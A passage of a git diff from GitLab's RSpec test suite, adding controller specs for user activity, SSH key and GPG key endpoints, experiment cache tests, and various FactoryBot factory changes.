+++ b/spec/controllers/users_controller_spec.rb
@@ -3,7 +3,8 @@
require 'spec_helper'
RSpec.describe UsersController do
- let(:user) { create(:user) }
+ # This user should have the same e-mail address associated with the GPG key prepared for tests
+ let(:user) { create(:user, email: GpgHelpers::User1.emails[0]) }
let(:private_user) { create(:user, private_profile: true) }
let(:public_user) { create(:user) }
@@ -114,6 +115,335 @@ RSpec.describe UsersController do
end
end
+ describe 'GET #activity' do
+ context 'with rendered views' do
+ render_views
+
+ describe 'when logged in' do
+ before do
+ sign_in(user)
+ end
+
+ it 'renders the show template' do
+ get :show, params: { username: user.username }
+
+ expect(response).to be_successful
+ expect(response).to render_template('show')
+ end
+ end
+
+ describe 'when logged out' do
+ it 'renders the show template' do
+ get :activity, params: { username: user.username }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to render_template('show')
+ end
+ end
+ end
+
+ context 'when public visibility level is restricted' do
+ before do
+ stub_application_setting(restricted_visibility_levels: [Gitlab::VisibilityLevel::PUBLIC])
+ end
+
+ context 'when logged out' do
+ it 'redirects to login page' do
+ get :activity, params: { username: user.username }
+ expect(response).to redirect_to new_user_session_path
+ end
+ end
+
+ context 'when logged in' do
+ before do
+ sign_in(user)
+ end
+
+ it 'renders show' do
+ get :activity, params: { username: user.username }
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to render_template('show')
+ end
+ end
+ end
+
+ context 'when a user by that username does not exist' do
+ context 'when logged out' do
+ it 'redirects to login page' do
+ get :activity, params: { username: 'nonexistent' }
+ expect(response).to redirect_to new_user_session_path
+ end
+ end
+
+ context 'when logged in' do
+ before do
+ sign_in(user)
+ end
+
+ it 'renders 404' do
+ get :activity, params: { username: 'nonexistent' }
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ context 'json with events' do
+ let(:project) { create(:project) }
+
+ before do
+ project.add_developer(user)
+ Gitlab::DataBuilder::Push.build_sample(project, user)
+
+ sign_in(user)
+ end
+
+ it 'loads events' do
+ get :activity, params: { username: user }, format: :json
+
+ expect(assigns(:events)).not_to be_empty
+ end
+
+ it 'hides events if the user cannot read cross project' do
+ allow(Ability).to receive(:allowed?).and_call_original
+ expect(Ability).to receive(:allowed?).with(user, :read_cross_project) { false }
+
+ get :activity, params: { username: user }, format: :json
+
+ expect(assigns(:events)).to be_empty
+ end
+
+ it 'hides events if the user has a private profile' do
+ Gitlab::DataBuilder::Push.build_sample(project, private_user)
+
+ get :activity, params: { username: private_user.username }, format: :json
+
+ expect(assigns(:events)).to be_empty
+ end
+ end
+ end
+
+ describe "#ssh_keys" do
+ describe "non existent user" do
+ it "does not generally work" do
+ get :ssh_keys, params: { username: 'not-existent' }
+
+ expect(response).not_to be_successful
+ end
+ end
+
+ describe "user with no keys" do
+ it "does generally work" do
+ get :ssh_keys, params: { username: user.username }
+
+ expect(response).to be_successful
+ end
+
+ it "renders all keys separated with a new line" do
+ get :ssh_keys, params: { username: user.username }
+
+ expect(response.body).to eq("")
+ end
+
+ it "responds with text/plain content type" do
+ get :ssh_keys, params: { username: user.username }
+ expect(response.content_type).to eq("text/plain")
+ end
+ end
+
+ describe "user with keys" do
+ let!(:key) { create(:key, user: user) }
+ let!(:another_key) { create(:another_key, user: user) }
+ let!(:deploy_key) { create(:deploy_key, user: user) }
+
+ describe "while signed in" do
+ before do
+ sign_in(user)
+ end
+
+ it "does generally work" do
+ get :ssh_keys, params: { username: user.username }
+
+ expect(response).to be_successful
+ end
+
+ it "renders all non deploy keys separated with a new line" do
+ get :ssh_keys, params: { username: user.username }
+
+ expect(response.body).not_to eq('')
+ expect(response.body).to eq(user.all_ssh_keys.join("\n"))
+
+ expect(response.body).to include(key.key.sub(' dummy@gitlab.com', ''))
+ expect(response.body).to include(another_key.key.sub(' dummy@gitlab.com', ''))
+
+ expect(response.body).not_to include(deploy_key.key)
+ end
+
+ it "does not render the comment of the key" do
+ get :ssh_keys, params: { username: user.username }
+ expect(response.body).not_to match(/dummy@gitlab.com/)
+ end
+
+ it "responds with text/plain content type" do
+ get :ssh_keys, params: { username: user.username }
+
+ expect(response.content_type).to eq("text/plain")
+ end
+ end
+
+ describe 'when logged out' do
+ before do
+ sign_out(user)
+ end
+
+ it "still does generally work" do
+ get :ssh_keys, params: { username: user.username }
+
+ expect(response).to be_successful
+ end
+
+ it "renders all non deploy keys separated with a new line" do
+ get :ssh_keys, params: { username: user.username }
+
+ expect(response.body).not_to eq('')
+ expect(response.body).to eq(user.all_ssh_keys.join("\n"))
+
+ expect(response.body).to include(key.key.sub(' dummy@gitlab.com', ''))
+ expect(response.body).to include(another_key.key.sub(' dummy@gitlab.com', ''))
+
+ expect(response.body).not_to include(deploy_key.key)
+ end
+
+ it "does not render the comment of the key" do
+ get :ssh_keys, params: { username: user.username }
+ expect(response.body).not_to match(/dummy@gitlab.com/)
+ end
+
+ it "responds with text/plain content type" do
+ get :ssh_keys, params: { username: user.username }
+
+ expect(response.content_type).to eq("text/plain")
+ end
+ end
+ end
+ end
+
+ describe "#gpg_keys" do
+ describe "non existent user" do
+ it "does not generally work" do
+ get :gpg_keys, params: { username: 'not-existent' }
+
+ expect(response).not_to be_successful
+ end
+ end
+
+ describe "user with no keys" do
+ it "does generally work" do
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response).to be_successful
+ end
+
+ it "renders all keys separated with a new line" do
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response.body).to eq("")
+ end
+
+ it "responds with text/plain content type" do
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response.content_type).to eq("text/plain")
+ end
+ end
+
+ describe "user with keys" do
+ let!(:gpg_key) { create(:gpg_key, user: user) }
+ let!(:another_gpg_key) { create(:another_gpg_key, user: user) }
+
+ describe "while signed in" do
+ before do
+ sign_in(user)
+ end
+
+ it "does generally work" do
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response).to be_successful
+ end
+
+ it "renders all verified keys separated with a new line" do
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response.body).not_to eq('')
+ expect(response.body).to eq(user.gpg_keys.select(&:verified?).map(&:key).join("\n"))
+
+ expect(response.body).to include(gpg_key.key)
+ expect(response.body).to include(another_gpg_key.key)
+ end
+
+ it "responds with text/plain content type" do
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response.content_type).to eq("text/plain")
+ end
+ end
+
+ describe 'when logged out' do
+ before do
+ sign_out(user)
+ end
+
+ it "still does generally work" do
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response).to be_successful
+ end
+
+ it "renders all verified keys separated with a new line" do
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response.body).not_to eq('')
+ expect(response.body).to eq(user.gpg_keys.map(&:key).join("\n"))
+
+ expect(response.body).to include(gpg_key.key)
+ expect(response.body).to include(another_gpg_key.key)
+ end
+
+ it "responds with text/plain content type" do
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response.content_type).to eq("text/plain")
+ end
+ end
+
+ describe 'when revoked' do
+ before do
+ sign_in(user)
+ another_gpg_key.revoke
+ end
+
+ it "doesn't render revoked keys" do
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response.body).not_to eq('')
+
+ expect(response.body).to include(gpg_key.key)
+ expect(response.body).not_to include(another_gpg_key.key)
+ end
+
+ it "doesn't render revoked keys for non-authorized users" do
+ sign_out(user)
+ get :gpg_keys, params: { username: user.username }
+
+ expect(response.body).not_to eq('')
+
+ expect(response.body).to include(gpg_key.key)
+ expect(response.body).not_to include(another_gpg_key.key)
+ end
+ end
+ end
+ end
+
describe 'GET #calendar' do
context 'for user' do
let(:project) { create(:project) }
diff --git a/spec/db/production/settings_spec.rb b/spec/db/production/settings_spec.rb
index f17720466c0..a7cd7201c89 100644
--- a/spec/db/production/settings_spec.rb
+++ b/spec/db/production/settings_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe 'seed production settings' do
stub_env('GITLAB_PROMETHEUS_METRICS_ENABLED', 'true')
end
- it 'prometheus_metrics_enabled is set to true ' do
+ it 'prometheus_metrics_enabled is set to true' do
load(settings_file)
expect(settings.prometheus_metrics_enabled).to eq(true)
diff --git a/spec/db/schema_spec.rb b/spec/db/schema_spec.rb
index c35f3831a58..a15b9624c9d 100644
--- a/spec/db/schema_spec.rb
+++ b/spec/db/schema_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe 'Database schema' do
audit_events_part_5fc467ac26: %w[author_id entity_id target_id],
award_emoji: %w[awardable_id user_id],
aws_roles: %w[role_external_id],
- boards: %w[milestone_id],
+ boards: %w[milestone_id iteration_id],
chat_names: %w[chat_id team_id user_id],
chat_teams: %w[team_id],
ci_builds: %w[erased_by_id runner_id trigger_request_id user_id],
@@ -86,7 +86,7 @@ RSpec.describe 'Database schema' do
users_star_projects: %w[user_id],
vulnerability_identifiers: %w[external_id],
vulnerability_scanners: %w[external_id],
- web_hooks: %w[service_id group_id]
+ web_hooks: %w[group_id]
}.with_indifferent_access.freeze
context 'for table' do
@@ -184,6 +184,7 @@ RSpec.describe 'Database schema' do
"ApplicationSetting" => %w[repository_storages_weighted],
"AlertManagement::Alert" => %w[payload],
"Ci::BuildMetadata" => %w[config_options config_variables],
+ "ExperimentUser" => %w[context],
"Geo::Event" => %w[payload],
"GeoNodeStatus" => %w[status],
"Operations::FeatureFlagScope" => %w[strategies],
diff --git a/spec/deprecation_toolkit_env.rb b/spec/deprecation_toolkit_env.rb
new file mode 100644
index 00000000000..bc90f67f0db
--- /dev/null
+++ b/spec/deprecation_toolkit_env.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+if ENV.key?('RECORD_DEPRECATIONS')
+ require 'deprecation_toolkit'
+ require 'deprecation_toolkit/rspec'
+ DeprecationToolkit::Configuration.test_runner = :rspec
+ DeprecationToolkit::Configuration.deprecation_path = 'deprecations'
+ DeprecationToolkit::Configuration.behavior = DeprecationToolkit::Behaviors::Record
+
+ # Enable ruby deprecations for keywords, it's suppressed by default in Ruby 2.7.2
+ Warning[:deprecated] = true
+
+ kwargs_warnings = [
+ # Taken from https://github.com/jeremyevans/ruby-warning/blob/1.1.0/lib/warning.rb#L18
+ %r{warning: (?:Using the last argument (?:for `.+' )?as keyword parameters is deprecated; maybe \*\* should be added to the call|Passing the keyword argument (?:for `.+' )?as the last hash parameter is deprecated|Splitting the last argument (?:for `.+' )?into positional and keyword parameters is deprecated|The called method (?:`.+' )?is defined here)\n\z}
+ ]
+ DeprecationToolkit::Configuration.warnings_treated_as_deprecation = kwargs_warnings
+end
diff --git a/spec/experiments/application_experiment/cache_spec.rb b/spec/experiments/application_experiment/cache_spec.rb
new file mode 100644
index 00000000000..a420d557155
--- /dev/null
+++ b/spec/experiments/application_experiment/cache_spec.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ApplicationExperiment::Cache do
+ let(:key_name) { 'experiment_name' }
+ let(:field_name) { 'abc123' }
+ let(:key_field) { [key_name, field_name].join(':') }
+ let(:shared_state) { Gitlab::Redis::SharedState }
+
+ around do |example|
+ shared_state.with { |r| r.del(key_name) }
+ example.run
+ shared_state.with { |r| r.del(key_name) }
+ end
+
+ it "allows reading, writing and deleting", :aggregate_failures do
+ # we test them all together because they are largely interdependent
+
+ expect(subject.read(key_field)).to be_nil
+ expect(shared_state.with { |r| r.hget(key_name, field_name) }).to be_nil
+
+ subject.write(key_field, 'value')
+
+ expect(subject.read(key_field)).to eq('value')
+ expect(shared_state.with { |r| r.hget(key_name, field_name) }).to eq('value')
+
+ subject.delete(key_field)
+
+ expect(subject.read(key_field)).to be_nil
+ expect(shared_state.with { |r| r.hget(key_name, field_name) }).to be_nil
+ end
+
+ it "handles the fetch with a block behavior (which is read/write)" do
+ expect(subject.fetch(key_field) { 'value1' }).to eq('value1') # rubocop:disable Style/RedundantFetchBlock
+ expect(subject.fetch(key_field) { 'value2' }).to eq('value1') # rubocop:disable Style/RedundantFetchBlock
+ end
+
+ it "can clear a whole experiment cache key" do
+ subject.write(key_field, 'value')
+ subject.clear(key: key_field)
+
+ expect(shared_state.with { |r| r.get(key_name) }).to be_nil
+ end
+
+ it "doesn't allow clearing a key from the cache that's not a hash (definitely not an experiment)" do
+ shared_state.with { |r| r.set(key_name, 'value') }
+
+ expect { subject.clear(key: key_name) }.to raise_error(
+ ArgumentError,
+ 'invalid call to clear a non-hash cache key'
+ )
+ end
+
+ context "when the :caching_experiments feature is disabled" do
+ before do
+ stub_feature_flags(caching_experiments: false)
+ end
+
+ it "doesn't write to the cache" do
+ subject.write(key_field, 'value')
+
+ expect(subject.read(key_field)).to be_nil
+ end
+ end
+end
diff --git a/spec/experiments/application_experiment_spec.rb b/spec/experiments/application_experiment_spec.rb
new file mode 100644
index 00000000000..ece52d37351
--- /dev/null
+++ b/spec/experiments/application_experiment_spec.rb
@@ -0,0 +1,127 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ApplicationExperiment do
+ subject { described_class.new(:stub) }
+
+ describe "publishing results" do
+ it "tracks the assignment" do
+ expect(subject).to receive(:track).with(:assignment)
+
+ subject.publish(nil)
+ end
+
+ it "pushes the experiment knowledge into the client using Gon.global" do
+ expect(Gon.global).to receive(:push).with(
+ {
+ experiment: {
+ 'stub' => { # string key because it can be namespaced
+ experiment: 'stub',
+ key: 'e8f65fd8d973f9985dc7ea3cf1614ae1',
+ variant: 'control'
+ }
+ }
+ },
+ true
+ )
+
+ subject.publish(nil)
+ end
+ end
+
+ describe "tracking events", :snowplow do
+ it "doesn't track if excluded" do
+ subject.exclude { true }
+
+ subject.track(:action)
+
+ expect_no_snowplow_event
+ end
+
+ it "tracks the event with the expected arguments and merged contexts" do
+ subject.track(:action, property: '_property_', context: [
+ SnowplowTracker::SelfDescribingJson.new('iglu:com.gitlab/fake/jsonschema/0-0-0', { data: '_data_' })
+ ])
+
+ expect_snowplow_event(
+ category: 'stub',
+ action: 'action',
+ property: '_property_',
+ context: [
+ {
+ schema: 'iglu:com.gitlab/fake/jsonschema/0-0-0',
+ data: { data: '_data_' }
+ },
+ {
+ schema: 'iglu:com.gitlab/gitlab_experiment/jsonschema/0-3-0',
+ data: { experiment: 'stub', key: 'e8f65fd8d973f9985dc7ea3cf1614ae1', variant: 'control' }
+ }
+ ]
+ )
+ end
+ end
+
+ describe "variant resolution" do
+ it "returns nil when not rolled out" do
+ stub_feature_flags(stub: false)
+
+ expect(subject.variant.name).to eq('control')
+ end
+
+ context "when rolled out to 100%" do
+ it "returns the first variant name" do
+ subject.try(:variant1) {}
+ subject.try(:variant2) {}
+
+ expect(subject.variant.name).to eq('variant1')
+ end
+ end
+ end
+
+ context "when caching" do
+ let(:cache) { ApplicationExperiment::Cache.new }
+
+ before do
+ cache.clear(key: subject.name)
+
+ subject.use { } # setup the control
+ subject.try { } # setup the candidate
+
+ allow(Gitlab::Experiment::Configuration).to receive(:cache).and_return(cache)
+ end
+
+ it "caches the variant determined by the variant resolver" do
+ expect(subject.variant.name).to eq('candidate') # we should be in the experiment
+
+ subject.run
+
+ expect(cache.read(subject.cache_key)).to eq('candidate')
+ end
+
+ it "doesn't cache a variant if we don't explicitly provide one" do
+ # by not caching "empty" variants, we effectively create a mostly
+ # optimal combination of caching and rollout flexibility. If we cached
+ # every control variant assigned, we'd inflate the cache size and
+ # wouldn't be able to roll out to subjects that we'd already assigned to
+ # the control.
+ stub_feature_flags(stub: false) # simulate being not rolled out
+
+ expect(subject.variant.name).to eq('control') # if we ask, it should be control
+
+ subject.run
+
+ expect(cache.read(subject.cache_key)).to be_nil
+ end
+
+ it "caches a control variant if we assign it specifically" do
+ # by specifically assigning the control variant here, we're guaranteeing
+ # that this context will always get the control variant unless we delete
+ # the field from the cache (or clear the entire experiment cache) -- or
+ # write code that would specify a different variant.
+ subject.run(:control)
+
+ expect(cache.read(subject.cache_key)).to eq('control')
+ end
+ end
+end
diff --git a/spec/factories/alert_management/http_integrations.rb b/spec/factories/alert_management/http_integrations.rb
index 2b5864c8587..405ec09251f 100644
--- a/spec/factories/alert_management/http_integrations.rb
+++ b/spec/factories/alert_management/http_integrations.rb
@@ -11,6 +11,10 @@ FactoryBot.define do
active { false }
end
+ trait :active do
+ active { true }
+ end
+
trait :legacy do
endpoint_identifier { 'legacy' }
end
diff --git a/spec/factories/analytics/devops_adoption/segment_selections.rb b/spec/factories/analytics/devops_adoption/segment_selections.rb
deleted file mode 100644
index 8f10369ba35..00000000000
--- a/spec/factories/analytics/devops_adoption/segment_selections.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-FactoryBot.define do
- factory :devops_adoption_segment_selection, class: 'Analytics::DevopsAdoption::SegmentSelection' do
- association :segment, factory: :devops_adoption_segment
- project
-
- trait :project do
- group { nil }
- project
- end
-
- trait :group do
- project { nil }
- group
- end
- end
-end
diff --git a/spec/factories/analytics/devops_adoption/segments.rb b/spec/factories/analytics/devops_adoption/segments.rb
deleted file mode 100644
index 367ee01fa18..00000000000
--- a/spec/factories/analytics/devops_adoption/segments.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-FactoryBot.define do
- factory :devops_adoption_segment, class: 'Analytics::DevopsAdoption::Segment' do
- sequence(:name) { |n| "Segment #{n}" }
- end
-end
diff --git a/spec/factories/bulk_import/failures.rb b/spec/factories/bulk_import/failures.rb
new file mode 100644
index 00000000000..1ebdfdd6c42
--- /dev/null
+++ b/spec/factories/bulk_import/failures.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require 'securerandom'
+
+FactoryBot.define do
+ factory :bulk_import_failure, class: 'BulkImports::Failure' do
+ association :entity, factory: :bulk_import_entity
+
+ pipeline_class { 'BulkImports::TestPipeline' }
+ exception_class { 'StandardError' }
+ exception_message { 'Standard Error Message' }
+ correlation_id_value { SecureRandom.uuid }
+ end
+end
diff --git a/spec/factories/ci/builds.rb b/spec/factories/ci/builds.rb
index 11719e40cf2..c3d6e9d7569 100644
--- a/spec/factories/ci/builds.rb
+++ b/spec/factories/ci/builds.rb
@@ -356,6 +356,12 @@ FactoryBot.define do
end
end
+ trait :codequality_reports do
+ after(:build) do |build|
+ build.job_artifacts << create(:ci_job_artifact, :codequality, job: build)
+ end
+ end
+
trait :terraform_reports do
after(:build) do |build|
build.job_artifacts << create(:ci_job_artifact, :terraform, job: build)
diff --git a/spec/factories/ci/job_artifacts.rb b/spec/factories/ci/job_artifacts.rb
index 223184891b7..ad98e9d1f24 100644
--- a/spec/factories/ci/job_artifacts.rb
+++ b/spec/factories/ci/job_artifacts.rb
@@ -229,6 +229,16 @@ FactoryBot.define do
end
end
+ trait :coverage_with_paths_not_relative_to_project_root do
+ file_type { :cobertura }
+ file_format { :gzip }
+
+ after(:build) do |artifact, evaluator|
+ artifact.file = fixture_file_upload(
+ Rails.root.join('spec/fixtures/cobertura/coverage_with_paths_not_relative_to_project_root.xml.gz'), 'application/x-gzip')
+ end
+ end
+
trait :coverage_with_corrupted_data do
file_type { :cobertura }
file_format { :gzip }
@@ -245,7 +255,17 @@ FactoryBot.define do
after(:build) do |artifact, evaluator|
artifact.file = fixture_file_upload(
- Rails.root.join('spec/fixtures/codequality/codequality.json'), 'application/json')
+ Rails.root.join('spec/fixtures/codequality/codeclimate.json'), 'application/json')
+ end
+ end
+
+ trait :codequality_without_errors do
+ file_type { :codequality }
+ file_format { :raw }
+
+ after(:build) do |artifact, evaluator|
+ artifact.file = fixture_file_upload(
+ Rails.root.join('spec/fixtures/codequality/codeclimate_without_errors.json'), 'application/json')
end
end
diff --git a/spec/factories/ci/pipelines.rb b/spec/factories/ci/pipelines.rb
index 14bd0ab1bc6..86a8b008e48 100644
--- a/spec/factories/ci/pipelines.rb
+++ b/spec/factories/ci/pipelines.rb
@@ -16,6 +16,7 @@ FactoryBot.define do
transient { head_pipeline_of { nil } }
transient { child_of { nil } }
+ transient { upstream_of { nil } }
after(:build) do |pipeline, evaluator|
if evaluator.child_of
@@ -30,9 +31,12 @@ FactoryBot.define do
if evaluator.child_of
bridge = create(:ci_bridge, pipeline: evaluator.child_of)
- create(:ci_sources_pipeline,
- source_job: bridge,
- pipeline: pipeline)
+ create(:ci_sources_pipeline, source_job: bridge, pipeline: pipeline)
+ end
+
+ if evaluator.upstream_of
+ bridge = create(:ci_bridge, pipeline: pipeline)
+ create(:ci_sources_pipeline, source_job: bridge, pipeline: evaluator.upstream_of)
end
end
@@ -122,10 +126,10 @@ FactoryBot.define do
end
trait :with_test_reports_with_three_failures do
- status { :success }
+ status { :failed }
after(:build) do |pipeline, _evaluator|
- pipeline.builds << build(:ci_build, :test_reports_with_three_failures, pipeline: pipeline, project: pipeline.project)
+ pipeline.builds << build(:ci_build, :failed, :test_reports_with_three_failures, pipeline: pipeline, project: pipeline.project)
end
end
@@ -145,6 +149,14 @@ FactoryBot.define do
end
end
+ trait :with_codequality_reports do
+ status { :success }
+
+ after(:build) do |pipeline, evaluator|
+ pipeline.builds << build(:ci_build, :codequality_reports, pipeline: pipeline, project: pipeline.project)
+ end
+ end
+
trait :with_coverage_report_artifact do
after(:build) do |pipeline, evaluator|
pipeline.pipeline_artifacts << build(:ci_pipeline_artifact, pipeline: pipeline, project: pipeline.project)
diff --git a/spec/factories/dependency_proxy.rb b/spec/factories/dependency_proxy.rb
index 5d763392a99..de95df19876 100644
--- a/spec/factories/dependency_proxy.rb
+++ b/spec/factories/dependency_proxy.rb
@@ -6,4 +6,11 @@ FactoryBot.define do
file { fixture_file_upload('spec/fixtures/dependency_proxy/a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.gz') }
file_name { 'a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.gz' }
end
+
+ factory :dependency_proxy_manifest, class: 'DependencyProxy::Manifest' do
+ group
+ file { fixture_file_upload('spec/fixtures/dependency_proxy/manifest') }
+ digest { 'sha256:5ab5a6872b264fe4fd35d63991b9b7d8425f4bc79e7cf4d563c10956581170c9' }
+ file_name { 'alpine:latest.json' }
+ end
end
diff --git a/spec/factories/experiment_subjects.rb b/spec/factories/experiment_subjects.rb
new file mode 100644
index 00000000000..c35bc370bad
--- /dev/null
+++ b/spec/factories/experiment_subjects.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :experiment_subject do
+ experiment
+ user
+ variant { :control }
+ end
+end
diff --git a/spec/factories/experiment_users.rb b/spec/factories/experiment_users.rb
new file mode 100644
index 00000000000..66c39d684eb
--- /dev/null
+++ b/spec/factories/experiment_users.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :experiment_user do
+ experiment
+ user
+ group_type { :control }
+ converted_at { nil }
+ end
+end
diff --git a/spec/factories/exported_protected_branches.rb b/spec/factories/exported_protected_branches.rb
new file mode 100644
index 00000000000..7ad49b12e5b
--- /dev/null
+++ b/spec/factories/exported_protected_branches.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :exported_protected_branch, class: 'ExportedProtectedBranch', parent: :protected_branch
+end
diff --git a/spec/factories/gitlab/database/postgres_index.rb b/spec/factories/gitlab/database/postgres_index.rb
new file mode 100644
index 00000000000..54bbb738512
--- /dev/null
+++ b/spec/factories/gitlab/database/postgres_index.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :postgres_index, class: 'Gitlab::Database::PostgresIndex' do
+ identifier { "public.some_index_#{indexrelid}" }
+ sequence(:indexrelid) { |n| n }
+ schema { 'public' }
+ name { "some_index_#{indexrelid}" }
+ tablename { 'foo' }
+ unique { false }
+ valid_index { true }
+ partitioned { false }
+ exclusion { false }
+ expression { false }
+ partial { false }
+ definition { "CREATE INDEX #{identifier} ON #{tablename} (bar)"}
+ ondisk_size_bytes { 100.megabytes }
+ end
+end
diff --git a/spec/factories/gitlab/database/postgres_index_bloat_estimate.rb b/spec/factories/gitlab/database/postgres_index_bloat_estimate.rb
new file mode 100644
index 00000000000..878650714b8
--- /dev/null
+++ b/spec/factories/gitlab/database/postgres_index_bloat_estimate.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :postgres_index_bloat_estimate, class: 'Gitlab::Database::PostgresIndexBloatEstimate' do
+ association :index, factory: :postgres_index
+
+ identifier { index.identifier }
+ bloat_size_bytes { 10.megabytes }
+ end
+end
diff --git a/spec/factories/gitlab/database/reindexing/reindex_action.rb b/spec/factories/gitlab/database/reindexing/reindex_action.rb
new file mode 100644
index 00000000000..4b558286463
--- /dev/null
+++ b/spec/factories/gitlab/database/reindexing/reindex_action.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :reindex_action, class: 'Gitlab::Database::Reindexing::ReindexAction' do
+ association :index, factory: :postgres_index
+
+ action_start { Time.now - 10.minutes }
+ action_end { Time.now - 5.minutes }
+ ondisk_size_bytes_start { 2.megabytes }
+ ondisk_size_bytes_end { 1.megabytes }
+ state { Gitlab::Database::Reindexing::ReindexAction.states[:finished] }
+ index_identifier { index.identifier }
+ end
+end
diff --git a/spec/factories/gpg_keys.rb b/spec/factories/gpg_keys.rb
index 9f321643174..5967d9ba9d3 100644
--- a/spec/factories/gpg_keys.rb
+++ b/spec/factories/gpg_keys.rb
@@ -10,5 +10,10 @@ FactoryBot.define do
factory :gpg_key_with_subkeys do
key { GpgHelpers::User1.public_key_with_extra_signing_key }
end
+
+ factory :another_gpg_key do
+ key { GpgHelpers::User1.public_key2 }
+ user
+ end
end
end
diff --git a/spec/factories/issues.rb b/spec/factories/issues.rb
index 90e43b9e22c..5c62de4d08d 100644
--- a/spec/factories/issues.rb
+++ b/spec/factories/issues.rb
@@ -52,9 +52,5 @@ FactoryBot.define do
factory :incident do
issue_type { :incident }
end
-
- factory :quality_test_case do
- issue_type { :test_case }
- end
end
end
diff --git a/spec/factories/merge_requests.rb b/spec/factories/merge_requests.rb
index e5381071228..e69743122cc 100644
--- a/spec/factories/merge_requests.rb
+++ b/spec/factories/merge_requests.rb
@@ -24,6 +24,14 @@ FactoryBot.define do
trait :with_diffs do
end
+ trait :jira_title do
+ title { generate(:jira_title) }
+ end
+
+ trait :jira_branch do
+ source_branch { generate(:jira_branch) }
+ end
+
trait :with_image_diffs do
source_branch { "add_images_and_changes" }
target_branch { "master" }
@@ -52,7 +60,7 @@ FactoryBot.define do
after(:build) do |merge_request, evaluator|
metrics = merge_request.build_metrics
- metrics.merged_at = 1.week.ago
+ metrics.merged_at = 1.week.from_now
metrics.merged_by = evaluator.merged_by
metrics.pipeline = create(:ci_empty_pipeline)
end
@@ -159,6 +167,18 @@ FactoryBot.define do
end
end
+ trait :with_codequality_reports do
+ after(:build) do |merge_request|
+ merge_request.head_pipeline = build(
+ :ci_pipeline,
+ :success,
+ :with_codequality_reports,
+ project: merge_request.source_project,
+ ref: merge_request.source_branch,
+ sha: merge_request.diff_head_sha)
+ end
+ end
+
trait :unique_branches do
source_branch { generate(:branch) }
target_branch { generate(:branch) }
@@ -237,7 +257,7 @@ FactoryBot.define do
target_branch { 'pages-deploy-target' }
transient do
- deployment { create(:deployment, :review_app) }
+ deployment { association(:deployment, :review_app) }
end
after(:build) do |merge_request, evaluator|
@@ -256,7 +276,7 @@ FactoryBot.define do
source_project = merge_request.source_project
# Fake `fetch_ref!` if we don't have repository
- # We have too many existing tests replying on this behaviour
+ # We have too many existing tests relying on this behaviour
unless [target_project, source_project].all?(&:repository_exists?)
allow(merge_request).to receive(:fetch_ref!)
end
diff --git a/spec/factories/namespace_onboarding_actions.rb b/spec/factories/namespace_onboarding_actions.rb
new file mode 100644
index 00000000000..aca62013b57
--- /dev/null
+++ b/spec/factories/namespace_onboarding_actions.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :namespace_onboarding_action do
+ namespace
+ action { :subscription_created }
+ end
+end
diff --git a/spec/factories/packages.rb b/spec/factories/packages.rb
index 73870a28b89..5543be4aa82 100644
--- a/spec/factories/packages.rb
+++ b/spec/factories/packages.rb
@@ -22,7 +22,14 @@ FactoryBot.define do
end
factory :debian_package do
+ sequence(:name) { |n| "package-#{n}" }
+ sequence(:version) { |n| "1.0-#{n}" }
package_type { :debian }
+
+ factory :debian_incoming do
+ name { 'incoming' }
+ version { nil }
+ end
end
factory :npm_package do
diff --git a/spec/factories/packages/package_file.rb b/spec/factories/packages/package_file.rb
index 643ab8e4f95..bee1b2076df 100644
--- a/spec/factories/packages/package_file.rb
+++ b/spec/factories/packages/package_file.rb
@@ -152,14 +152,6 @@ FactoryBot.define do
file_store { Packages::PackageFileUploader::Store::REMOTE }
end
- trait(:checksummed) do
- verification_checksum { 'abc' }
- end
-
- trait(:checksum_failure) do
- verification_failure { 'Could not calculate the checksum' }
- end
-
factory :package_file_with_file, traits: [:jar]
end
end
diff --git a/spec/factories/personal_access_tokens.rb b/spec/factories/personal_access_tokens.rb
index d8ff2e08657..9625fdc195d 100644
--- a/spec/factories/personal_access_tokens.rb
+++ b/spec/factories/personal_access_tokens.rb
@@ -26,5 +26,9 @@ FactoryBot.define do
trait :invalid do
token_digest { nil }
end
+
+ trait :no_prefix do
+ after(:build) { |personal_access_token| personal_access_token.set_token(Devise.friendly_token) }
+ end
end
end
diff --git a/spec/factories/project_repository_storage_moves.rb b/spec/factories/project_repository_storage_moves.rb
index c0068de5f58..5df2b7c32d6 100644
--- a/spec/factories/project_repository_storage_moves.rb
+++ b/spec/factories/project_repository_storage_moves.rb
@@ -2,7 +2,7 @@
FactoryBot.define do
